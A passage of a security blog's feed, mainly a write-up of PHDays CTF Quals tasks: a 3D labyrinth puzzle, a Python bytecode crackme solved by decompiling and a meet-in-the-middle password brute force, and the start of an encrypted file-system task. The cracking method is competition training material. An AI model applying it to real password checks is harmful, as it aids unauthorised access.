&lt;a href="http://1.bp.blogspot.com/-jMTrgmj628A/UPfeiP5IniI/AAAAAAAACas/dfSvvMX5CFo/s1600/IMG_3438.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://1.bp.blogspot.com/-jMTrgmj628A/UPfeiP5IniI/AAAAAAAACas/dfSvvMX5CFo/s640/IMG_3438.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
However, it was not the only workshop, in which the representatives of Positive Technologies took part — Yury Goltsev held a competition and workshop named $natch, developed on the ground of Internet Banking contests firstly held as part of the forum Positive Hack Days 2012. Moreover, our team reviewed the forum &lt;a href="http://phdays.com/"&gt;PHDays III&lt;/a&gt; in the course of Lightning Talks.&lt;br /&gt;
&lt;br /&gt;
Congress Wiki page: &lt;a href="https://events.ccc.de/congress/2012/wiki/Main_Page"&gt;https://events.ccc.de/congress/2012/wiki/Main_Page&lt;/a&gt;&lt;br /&gt;
Congress weblog: &lt;a href="http://events.ccc.de/category/29c3/"&gt;http://events.ccc.de/category/29c3/&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/01/positive-technologies-experts-took-part.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-_0MENr4yJag/UPfeB5UyDOI/AAAAAAAACaU/C9zR8_58rXw/s72-c/1.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-5435768008375369921</guid><pubDate>Sat, 29 Dec 2012 07:39:00 +0000</pubDate><atom:updated>2012-12-28T23:43:30.748-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Forensics</category><category domain="http://www.blogger.com/atom/ns#">PHDays CTF Quals</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">hash cracking</category><title>Labyrinth, Noise Elimination, Circuit Engineering... Review of the Most Interesting Tasks of PHDays CTF Quals</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-B0vKrzLO9Qw/UN1R1EoN18I/AAAAAAAACVg/6H2q9ssoPjk/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://2.bp.blogspot.com/-B0vKrzLO9Qw/UN1R1EoN18I/AAAAAAAACVg/6H2q9ssoPjk/s320/1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
PHDays CTF Quals, information security competition, ended last week. 493 teams from 30 countries competed in information hacking and protection. All the tasks were divided into five categories from Reverse Engineering to the tasks typical of the real world (the details and results of the competition are available in our &lt;a href="http://blog.phdays.com/2012/12/cyberwarriors-from-all-over-world.html" target="_blank"&gt;previous post&lt;/a&gt;). Each category included five tasks of different challenge levels (from 100 to 500 points).&lt;br /&gt;
&lt;br /&gt;
The majority of the tasks were solved by the teams, some of them caused troubles, and some were left unsolved. Moreover, for a part of the tasks the teams used such solutions, which were not even considered by the organizers. This time we want to review the most interesting (in our opinion) and difficult tasks of PHDays CTF Quals.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Misc 400&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
An interactive service offered the participants to find a path in a 3D labyrinth (a cube (50х50) with multiple corridors inside).&lt;br /&gt;
&lt;br /&gt;
Each time a team went through a labyrinth, another appeared, and thus 16 times in total. A hint was given in the middle of the task: "A point of view does matter". If viewing in one of the three projections, then a path in each of the labyrinths is a character of the answer.&lt;br /&gt;
&lt;br /&gt;
Therefore, 16 labyrinths give us 16 characters of the flag: NOF3ARNO3XITHER3.&lt;br /&gt;
When the last labyrinth was solved, the service popped up a message with the following text: You win! How do you like the flag? ;) And closed the connection. Such an unexpected end of the task caused cognitive dissonance in many participants. :)&lt;br /&gt;
&lt;br /&gt;
Follow the &lt;a href="http://darkbyte.ru/upload/2012/phd/lab.gif" target="_blank"&gt;link&lt;/a&gt;&amp;nbsp;to view the path projections.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://gist.github.com/4317280" target="_blank"&gt;Github&lt;/a&gt;&amp;nbsp;code.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Bin300 (HashME) – Hash with Modular Exponent&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A binary file of 754 bytes was provided.&lt;br /&gt;
&lt;br /&gt;
The task was formulated as follows: "Find the valid password, and you will find the cherished flag".&lt;br /&gt;
&amp;nbsp;The file included the following strings: Bad pwd, hex, sys, hashlib, argv, isalnum, len, Exception, chr, pow, int, encode, md5, hexdigest, &amp;lt;module&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Judging by the strings, it is easy to guess that the file contains Python byte-code, which is also proved by the GNU file&amp;nbsp;&lt;span style="background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 20px;"&gt;python 2.7 byte-compiled.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
There is a decompiler named&amp;nbsp;&lt;a href="https://bitbucket.org/gstarnberger/uncompyle" target="_blank"&gt;uncompyle&lt;/a&gt;&amp;nbsp;for Python 2.7.&lt;br /&gt;
&lt;br /&gt;
Set up tuj, launch, and receive a decompiled text:&lt;br /&gt;
&lt;pre class="python" style="background-color: #f4f4ff; border: 1px solid rgb(153, 153, 153); color: #0f0f0f; font-size: 15px; line-height: 20px; padding: 6px;"&gt;&lt;span style="color: #ff7700; font-weight: bold;"&gt;import&lt;/span&gt; &lt;span style="color: crimson;"&gt;sys&lt;/span&gt;, hashlib
&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;5&lt;/span&gt;, &lt;span style="color: orangered;"&gt;1&lt;/span&gt;, &lt;span style="color: orangered;"&gt;3&lt;/span&gt;, &lt;span style="color: orangered;"&gt;6&lt;/span&gt;,&lt;span style="color: black;"&gt;)&lt;/span&gt; = &lt;span style="color: black;"&gt;(&lt;/span&gt;10018627425667944010192184374616954034932336288972070602267764174849233338727414964592990350312034463496546535924460513481267263055398790908691402854122123L, 7548218116432136940925610514648634474612691039131890951895054656437277296127635726026902728136306678987800886118938655787775411887815467753774352743068577L, 6192128262312421513644888506697421915171917575080330421897398651929773466194971539791158995262083381167771056580666419101167108372547406447696753234781064L, &lt;span style="color: crimson;"&gt;sys&lt;/span&gt;.&lt;span style="color: black;"&gt;argv&lt;/span&gt;&lt;span style="color: black;"&gt;[&lt;/span&gt;-&lt;span style="color: orangered;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #ff7700; font-weight: bold;"&gt;not&lt;/span&gt; 6.&lt;span style="color: black;"&gt;isalnum&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #ff7700; font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: green;"&gt;len&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;6&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: orangered;"&gt;10&lt;/span&gt;: &lt;span style="color: #ff7700; font-weight: bold;"&gt;raise&lt;/span&gt; &lt;span style="color: green;"&gt;Exception&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: darkslateblue;"&gt;'Bad pwd'&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: orangered;"&gt;0&lt;/span&gt; = &lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;chr&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;len&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;6&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; + &lt;span style="color: orangered;"&gt;6&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;*&lt;/span&gt; &lt;span style="color: orangered;"&gt;32&lt;/span&gt;
&lt;span style="color: orangered;"&gt;2&lt;/span&gt; = &lt;span style="color: green;"&gt;pow&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;1&lt;/span&gt;, &lt;span style="color: green;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;[&lt;/span&gt;:&lt;span style="color: orangered;"&gt;64&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt;.&lt;span style="color: black;"&gt;encode&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: darkslateblue;"&gt;'hex'&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;, &lt;span style="color: orangered;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;, &lt;span style="color: orangered;"&gt;5&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: orangered;"&gt;3&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;!&lt;/span&gt;= &lt;span style="color: orangered;"&gt;2&lt;/span&gt;: &lt;span style="color: #ff7700; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: green;"&gt;hex&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;2&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;else&lt;/span&gt;: &lt;span style="color: #ff7700; font-weight: bold;"&gt;print&lt;/span&gt; hashlib.&lt;span style="color: crimson;"&gt;md5&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: orangered;"&gt;6&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;.&lt;span style="color: black;"&gt;hexdigest&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
It is evident, that something is wrong with the code — it cannot be compiled. The reason is very simple — variable names were substituted by simple numbers in the compiled file. It hardly prevents byte-code execution, but decompiling makes variable names begin with numbers, and the parser considers it as an error.&lt;br /&gt;
&lt;br /&gt;
It is only needed to insert any letter before each simple number to fix it or to use the first hint:
&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class="python" style="background-color: #f4f4ff; border: 1px solid rgb(153, 153, 153); color: #0f0f0f; font-size: 15px; line-height: 20px; padding: 6px;"&gt;Python &lt;span style="color: orangered;"&gt;2.7&lt;/span&gt;, &lt;span style="color: darkslateblue;"&gt;"pgxweh"&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;&amp;lt;&lt;/span&gt;=&lt;span style="color: #66cc66;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: darkslateblue;"&gt;"513602"&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
Proper functioning code should look as follows:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class="python" style="background-color: #f4f4ff; border: 1px solid rgb(153, 153, 153); color: #0f0f0f; font-size: 15px; line-height: 20px; padding: 6px;"&gt;&lt;span style="color: #ff7700; font-weight: bold;"&gt;import&lt;/span&gt; &lt;span style="color: crimson;"&gt;sys&lt;/span&gt;, hashlib
&lt;span style="color: black;"&gt;(&lt;/span&gt;p, g, x, w,&lt;span style="color: black;"&gt;)&lt;/span&gt; = &lt;span style="color: black;"&gt;(&lt;/span&gt;10018627425667944010192184374616954034932336288972070602267764174849233338727414964592990350312034463496546535924460513481267263055398790908691402854122123L,
7548218116432136940925610514648634474612691039131890951895054656437277296127635726026902728136306678987800886118938655787775411887815467753774352743068577L,
6192128262312421513644888506697421915171917575080330421897398651929773466194971539791158995262083381167771056580666419101167108372547406447696753234781064L, &lt;span style="color: crimson;"&gt;sys&lt;/span&gt;.&lt;span style="color: black;"&gt;argv&lt;/span&gt;&lt;span style="color: black;"&gt;[&lt;/span&gt;-&lt;span style="color: orangered;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #ff7700; font-weight: bold;"&gt;not&lt;/span&gt; w.&lt;span style="color: black;"&gt;isalnum&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #ff7700; font-weight: bold;"&gt;or&lt;/span&gt; &lt;span style="color: green;"&gt;len&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;w&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: orangered;"&gt;10&lt;/span&gt;: &lt;span style="color: #ff7700; font-weight: bold;"&gt;raise&lt;/span&gt; &lt;span style="color: green;"&gt;Exception&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: darkslateblue;"&gt;'Bad pwd'&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;
e = &lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;chr&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;len&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;w&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt; + w&lt;span style="color: black;"&gt;)&lt;/span&gt; &lt;span style="color: #66cc66;"&gt;*&lt;/span&gt; &lt;span style="color: orangered;"&gt;32&lt;/span&gt;
h = &lt;span style="color: green;"&gt;pow&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;g, &lt;span style="color: green;"&gt;int&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;e&lt;span style="color: black;"&gt;[&lt;/span&gt;:&lt;span style="color: orangered;"&gt;64&lt;/span&gt;&lt;span style="color: black;"&gt;]&lt;/span&gt;.&lt;span style="color: black;"&gt;encode&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: darkslateblue;"&gt;'hex'&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;, &lt;span style="color: orangered;"&gt;16&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;, p&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;if&lt;/span&gt; x &lt;span style="color: #66cc66;"&gt;!&lt;/span&gt;= h: &lt;span style="color: #ff7700; font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: green;"&gt;hex&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;h&lt;span style="color: black;"&gt;)&lt;/span&gt;
&lt;span style="color: #ff7700; font-weight: bold;"&gt;else&lt;/span&gt;: &lt;span style="color: #ff7700; font-weight: bold;"&gt;print&lt;/span&gt; hashlib.&lt;span style="color: crimson;"&gt;md5&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;w&lt;span style="color: black;"&gt;)&lt;/span&gt;.&lt;span style="color: black;"&gt;hexdigest&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
The code makes it clear that if to specify the correct password as the last argument of the command string, a hexadecimal MD5 value of this password (flag) will be displayed. The password consists only of letters and numbers, its length is from 1 to 10 characters inclusive.&lt;br /&gt;
&lt;br /&gt;
The password is converted to a Pascal string (length byte + data), which is repeated to obtain 64 bytes. These 64 bytes are interpreted as a long integer, which becomes exponent е. The password is deemed to be right if &lt;b&gt;pow(g,e,p)==x&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The values &lt;b&gt;p&lt;/b&gt;, &lt;b&gt;g&lt;/b&gt;, and &lt;b&gt;x&lt;/b&gt; are known, p is a simple number, &lt;b&gt;g&lt;/b&gt; is a multiplicative group generator, &lt;b&gt;e&lt;/b&gt; is to be found. This is the discrete logarithm problem. 48 hours are not enough for the 512-bit &lt;b&gt;p&lt;/b&gt; (as far as we know ;). However, there is a chance to brute force the password.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
A possible character set is 0-9A-Za-z. That is 62 variants. The maximum length is 10, thus the total number of possible passwords is:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;62^1 + 62^2 + 62^3 + ... + 62^10 ==&amp;nbsp;853058371866181866&amp;nbsp;≈ 2^59.6&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Calculation of a 512-bit modular exponent is carried out quite slowly, and it is hardly possible to brute force even 228 variants using only one computer for 48 hours.&lt;br /&gt;
&lt;br /&gt;
However, it is not necessary to calculate a modular exponent for each password, and the second hint makes it clear:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;g^(a+b) == g^a * g^b&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Suppose we brute force passwords of 3 characters. Then the exponent will look as follows in a hexadecimal record:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;е = 03 XX YY ZZ 03 XX YY ZZ 03 XX YY ZZ … 03 XX YY ZZ&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
where &lt;b&gt;XX&lt;/b&gt;, &lt;b&gt;YY&lt;/b&gt;, and &lt;b&gt;ZZ&lt;/b&gt; are password characters.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Taking into account the hint, the exponent can be written as 4 numbers:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;e0 = 03 00 00 00 03 00 00 00 03 00 00 00 … 03 00 00 00&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;e1 = 00 XX 00 00 00 XX 00 00 00 XX 00 00 … 00 XX 00 00&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;e2 = 00 00 YY 00 00 00 YY 00 00 00 YY 00 … 00 00 YY 00&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;e3 = 00 00 00 ZZ 00 00 00 ZZ 00 00 00 ZZ … 00 00 00 ZZ&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b style="text-align: center;"&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
And then&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;pow(g,e,p) == (pow(g,e0,p) * pow(g,e1,p) * pow(g,e2,p) * pow(g,e3,p)) % p&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It is remarkable that for passwords with a fixed length the value is &lt;b&gt;e0&lt;/b&gt;, and thus &lt;b&gt;pow(g,e0,p)&lt;/b&gt; will be unchanged. And &lt;b&gt;pow(g,e[i],p)&lt;/b&gt; can take only one of 62 possible values, which can be calculated only once. Changing only one password character, only one multiplier will be changed. Modular exponentiation can be brought to modular multiplication to increase speed by more than 500 times.&lt;br /&gt;
&lt;br /&gt;
However, even when all this is done, it's still hardly possible to brute force 2^60 variants within 48 hours. This time the third hint can help:&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;Meet In The Middle&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The thing is that modular multiplication is a reversible operation (at least in this case). Using the extended Euclidean algorithm, it is possible to calculate &lt;b&gt;g-1==g’&lt;/b&gt;, algebraic supplement &lt;b&gt;g&lt;/b&gt; modulo &lt;b&gt;p&lt;/b&gt;, so that &lt;b&gt;(g*g’)%p==1&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Then if&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;(pow(g,e0,p) * pow(g,e1,p) * pow(g,e2,p) * pow(g,e3,p)) % p == x&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
then the following equation will be true:&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;b&gt;(pow(g,e2,p) * pow(g,e3,p)) % p == (x * pow(g’,e0,p) * pow(g’,e1,p)) % p&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It allows us to "meet in the middle".&lt;br /&gt;
&lt;br /&gt;
Mentally divide the password length into two parts as close to the middle as possible. Brute force all the variants of a shorter part and multiply &lt;b&gt;x&lt;/b&gt; by each of the values &lt;b&gt;pow(g’,e[i],p)&lt;/b&gt; consecutively. Save the results in a table.&lt;br /&gt;
&lt;br /&gt;
Brute force all the variants of the other part and multiply &lt;b&gt;1&lt;/b&gt; by each of the values &lt;b&gt;pow(g,e[i],p)&lt;/b&gt; consecutively. You can multiply modulo p. Find the result in the table. In case of matching values, you only need to remember the value of the short password part, which generated this table element.&lt;br /&gt;
&lt;br /&gt;
Due to the fact that the password length is not more than 10 characters, then a half of the password will not be longer than 5 characters and 62^5 == 916132832 ≈ 2^29.8. So the task can be solved by doing less than 2^31 modular multiplications, which is possible even if only one machine is used. Though to store 2^29.8 512-bit values, almost 55 GB of memory will be needed.&lt;br /&gt;
&lt;br /&gt;
However, firstly, you can save less than 512 bit (40 bit should be enough so that the collision number would be close to zero). And secondly, the correct password contained only 9 characters, and already 2 GB of RAM are enough for 62^4 variants.&lt;br /&gt;
&lt;br /&gt;
It can be guaranteed that, if correctly used, a single-threaded Python program installed on a computer, which CPU is Core-i5 3.1GHz, will find any password with length up to 8 characters inclusive approximately in 4 minutes and any 9-character password in an hour and a half.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Binary – 400 (BoobFs)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
This task is very interesting, but no team managed to solve it.&lt;br /&gt;
Input data:&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;BMP image (file system image).&lt;/li&gt;
&lt;li&gt;A software to create a file system image out of files.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;/ol&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-MsAYYOtftOk/UN1QeKVC3SI/AAAAAAAACVI/Xiap4YEAORM/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/-MsAYYOtftOk/UN1QeKVC3SI/AAAAAAAACVI/Xiap4YEAORM/s400/3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;File system image as a picture&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The file system consists of a main header, one directory including a variable file amount and divided into several blocks of variable length. Each file is also divided into blocks of variable length. The blocks are encrypted by the RC4 algorithm on a user key. A directory contains a file name, its size, and the size and offset of the first file's block. Each block contains the offset and size of the next block. The file system grows from the end.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class="c" style="background-color: #f4f4ff; border: 1px solid rgb(153, 153, 153); color: #0f0f0f; font-size: 15px; line-height: 20px; padding: 6px;"&gt;&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; FS_HEADER
&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
 DWORD signature&lt;span style="color: #339933;"&gt;;&lt;/span&gt;   &lt;span style="color: #666666; font-style: italic;"&gt;// BOOB&lt;/span&gt;
 DWORD dirOffset&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD firstBlockSize&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&amp;nbsp;
&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; DIR_BLOCK_HEADER
&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
 BYTE  signature&lt;span style="color: #339933;"&gt;;&lt;/span&gt;  &lt;span style="color: #666666; font-style: italic;"&gt;// D&lt;/span&gt;
 DWORD nextBlockOffset&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD nextBlockSize&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD numberOfFiles&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&amp;nbsp;
&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; FILE_ENTRY
&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
 CHAR  fileName&lt;span style="color: #009900;"&gt;[&lt;/span&gt;MAX_FNAME&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; &lt;span style="color: #666666; font-style: italic;"&gt;// MAX_FNAME = 20&lt;/span&gt;
 DWORD fileSizeInBytes&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD firstBlockOffset&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD firstBlockSize&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&amp;nbsp;
&lt;span style="color: #993333;"&gt;struct&lt;/span&gt; FILE_BLOCK_HEADER
&lt;span style="color: #009900;"&gt;{&lt;/span&gt;
 BYTE  signature&lt;span style="color: #339933;"&gt;;&lt;/span&gt;  &lt;span style="color: #666666; font-style: italic;"&gt;// F&lt;/span&gt;
 DWORD nextBlockOffset&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
 DWORD nextBlockSize&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&amp;nbsp;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-fJpa4EXT9pA/UN1RBMfxQvI/AAAAAAAACVQ/ymCIrf73hFo/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://3.bp.blogspot.com/-fJpa4EXT9pA/UN1RBMfxQvI/AAAAAAAACVQ/ymCIrf73hFo/s640/4.png" width="472" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
